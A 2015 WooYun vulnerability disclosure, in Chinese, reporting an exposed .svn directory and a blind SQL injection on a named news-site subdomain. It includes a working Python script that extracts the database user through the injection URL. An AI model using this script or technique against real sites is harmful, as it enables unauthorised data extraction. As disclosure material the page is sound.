当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119184

漏洞标题:华声在线某站SQL注入+svn信息泄露

相关厂商:华声在线

漏洞作者: wps2015

提交时间:2015-06-09 14:39

修复时间:2015-06-14 14:40

公开时间:2015-06-14 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

问题还是打包好

详细说明:

1.svn信息泄露,导致站点源代码可下载
问题出在:http://72wan.voc.com.cn/.svn/entries

1.png


数据库配置文件泄露:

2.png


2.SQL注入,但为盲注
问题出在:http://72wan.voc.com.cn/?s=/Help/show/catid/44*
由于不能使用工具,自己写了个猜解脚本

3.png


附脚本:

import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
for payload in payloads:
conn = httplib.HTTPConnection('72wan.voc.com.cn', timeout=4)
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
conn.request(method='GET',
url="/?s=/Help/show/catid/44 and %s" % s,
headers = headers)
html_header= conn.getresponse().read()
length=len(html_header)
if length>10000:
user+=payload
sys.stdout.write('\r[In progress] %s' % user)
sys.stdout.flush()
break
else:
print '.',
conn.close()

print '\n[Done]MySQL user is', user


漏洞证明:

3.png

修复方案:

过滤,并限制svn目录外网连接

版权声明:转载请注明来源 wps2015@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-14 14:40

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-06-18:感谢,该域名项目已经停止但合作方服务器未下线,现已取消域名解析。


漏洞评价:

评论